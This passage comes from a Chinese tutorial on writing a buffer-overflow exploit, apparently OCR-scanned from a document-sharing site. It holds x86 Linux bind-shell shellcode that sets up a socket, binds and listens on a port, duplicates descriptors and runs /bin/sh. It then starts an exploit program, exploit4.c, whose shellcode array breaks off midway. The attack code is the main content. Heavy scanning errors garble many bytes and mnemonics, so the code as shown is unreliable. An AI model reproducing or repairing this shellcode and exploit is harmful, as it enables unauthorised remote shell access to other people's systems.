II"\x89\xfl"/*movl%esi,%ecx*/

13"\xb0\x02"/*movb$0x2,%al*/

15"\x89\x06"/*movl%eax,(%esi)*/

17"\xb0\x01"/*movb$0x1,%al*/

19"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

1c,,\xb0\x06"/*movb$0x6,%al*/

le"\x89\x46\x08"/*movl%eax,0x8(%esi)匍

21"\xb0\x66"/*movb$0x66,%al*/

23"\xb3\x0r*/*movb$0xl,%bl*/

25"\xcd\x80"/*int$0x80x/

/*执行socket(),eax里面为返回值soc文献描述符*/

27"\x89\x06"/*movl%eax,(%esi)*/

29"\xb0\x02"/*movb$0x2,%al*/

2d"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/

2f"\xb0\x77"/*movb$0x77,%al*/

31"\x66\x89\x46\x0e0/*movw%ax,Oxe(%esi)*/

35"\x8d\x46\x0c"/*lealOxc(%esi),%eax*/

38"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

3b"\x31\xc0"/*xorl%cax,%cax

3d"\x89\x46\xl0"/*movl%eax,OxlO(%esi)*/

40M\xbO\x10"/*movb$0x10,%al*/

42"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

45"\xb0\x66"/*movb$0x66,%al*/

47"\xb3\xO2"/*movb$0x2,%bl*/

49'•\xcd\x80"/*int$0x80V

/*执行bind。*/

4b),\xeb\x04"/*jnip0x4*1

/*越过下面的两个跳转*/

4d”\xeb\x55"/*jnip0x55x/

/*跳到0x4f+0x55=0xa4*/

4f"\xeb\x5b"/*jmp0x5b*/

/*跳到0x51+0x5b=0xac♦/

51"\xbO\xOr*/*movb$0x1,%al*/

53"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

56"\xb0\x66"/*movb$0x66,%al*/

58"\xb3\x04"/*movb$0x4,%bl*/

5a"\xcd\x80"/*ini$0x80*/

/*执行lislen()*/

5cH\x31\xc0"/*xorl%eax,%eax*/

5en\x89\x46\x()4"/*movl%eax,0x4(%esi)*/

61"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

64"\xb0\x66"/*movb$0x66,%al*/

66n\xb3\xO5M/*movb$0x5,%bl*/

68"\xcd\x8O”/*int$0x80x/

/*执行acccpt(),cax里面为返回值cli文献描述符*/

6a"\x88\xc3”/*movb%al,%bl*/

6c"\xbO\x3f'/*movb$0x3f,%al*/

6e"\x31\xc9"/*xorl%ecx,%ecx*/

70"\xcd\x80"/*int$0x807

72"\xb()\x3fM/*movb$0x3f,%al*/

74"\xbl\x01"/*movb$0x1,%cl*/

76"\xcd\x80"/*int$0x807

78"\xb0\x3f/*movb$0x3f,%al*/

7a"\xbl\x02"/*movb$0x2,%cl*/

7c"\xcd\x80"/*int$0x80*/

/*执行三个dup2()*/

7e"\xb8\x2f\x62\x69\x6e"产movlS0x6e69622f,%eax*/

/*%eax='7bino*/

83"\x89\x06"/*movl%eax,(%esi)*/

85,,\xb8\x2Ax73\x68\x2f,/*movl$0x2f68732f,%eax*/

/*%eax=Vsh/"*/

8a"\x89\x46\x04"/*movl%cax,0x4(%csi)*/

8d"\x31\xc0"/*xorl%eax,%eax*/

8f,,\x88\x46\x07"/*movb%al,0x7(%esi)*/

92"\x89\x76\x08"/*movl%esi,0x8(%esi)*/

95"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/

98"\xbO\xOb"/*movb$Oxb,%al*/

9a”\x89\xf3"/*movl%esi,%ebx*/

9c"\x8d\x4e\x08"/*lealOx8(%csi),%ccx*/

9f"\x8d\x56\xOc"/*lealOxc(%esi),%edx*/

a2n\xcd\x8O"/*ini$0x80*/

/*执行execve()*/

/*运营/bin/sh()♦/

a4"\x31\xcO"/*xorl%cax,%cax*/

a6"\xb0\x01"/*movb$0x1,%al*/

a8"\x31\xdb"/*xorl%ebx.%ebx*/

aa"\xcd\x80"/*int$0x80*/

/*执行exil。*/

ac"\xe8\x5b\xmxff\xff/*call-0xa5*/

/*执行0x0c处的指令*/

bl

好,长长的shell终于写完了,下面就是袭击程序了。

cxploit4.c

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#include<netdb.h>

#include<netinet/in.h>

#defineALIGN0

#dcfineOFFSET0

#defineRET.POSITION1024

#defineRANGE200

#deHneNOP0x90

charshellcode[]=

"\x31\xcO"/*xorl%eax,%eax*/

"\xb0\x02"/*movb$0x2,%al*/

"\xcd\x80"/*intS0x80*/

"\x85\xc0"/*testl%eax,%cax*/

"\x75\x43"/*jnc0x43*/

"\xeb\x43"/*jmp0x43*/

"\x5e"/*popl%esi*/

"\x31\xc0"/*xorl%eax,%cax*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xfl"/*movl%esi,%ecx*/

"\xb()\x()2"/*movb$0x2,%al*/

"\x89\x06"/*movl%cax,(%csi)*/

"\xb0\x01"/*movb$0x1,%al*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\xbO\xO6"/*movb$0x6,%al*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

"\xb0\x66"/*movb$0x66,%al*/

"\xb3\x01"/*movb$0x1,%bl*/

"\xcd\x80"/*intS0x80*/

"\x89\x06"/*movl%eax,(%esi)*/

"\xb0\x02"/*movb$0x2,%al*/

"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/

"\xb0\x77"/*movb$0x77,%al*/

"\x66\x89\x46\x0e"/*movw%ax,Oxe(%esi)*/

"\x8d\x46\x0c0/*lealOxc(%esi),%eax*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\x31\xc0"/*xorl%cax,%cax*/

"\x89\x46\xl0"/*movl%cax.Ox10(%csi)*/

"\xbO\xlO"/*movbSOxlO,%ai*/

"\x89\x46\x08"/*movl%eax,()x8(%esi)*/

"\xb0\x66"/*movbS0x66,%al*/

"\xb3\xO2"/*movb$0x2,%bl*/

"\xcd\x80"/*intS0x80*/

"\xeb\x()4"/*jmp0x4*/

"\xcb\x55"/*jmp0x55*/

"\xeb\x5b"/*jmp0x5b*/

"\xbO\xOI"/*movbSOxl,%al*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\xb0\x66"/*movb$0x66,%al*/

"\xb3\x04"/*movb$0x4,%bl*/

"\xcd\x80"/*intS0x80*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x89\x46\x04"/*movl%eax,0x4(%esi)*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

"\xb0\x66"/*movb$0x66,%al*/

"\xb3\x05"/*movb$0x5,%bl*/

"\xcd\x80"/*int$0x80*/

"\x88\xc3"/*movb%al,%bl*/

"\xbO\x3f/*movb$0x3f,%al*/

"\x31\xc9"/*xorl%ccx,%ccx*/

"\xcd\x80"怦intS0x80*/

"\xb0\x3r'/*movbS0x3f,%al*/

"\xbl\xOI"/*movbSOxl,%cl*/

"\xcd\x80"/*intS0x80*/

"\xb0\x3f/*movb$0x3f,%al*/

"\xbi\x02"/*movb$0x2,%cl*/

"\xcd\x80"/*intS0x80*/

"\xb8\x2l\x62\x69\x6c"/*movl$0x6c69622f,

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论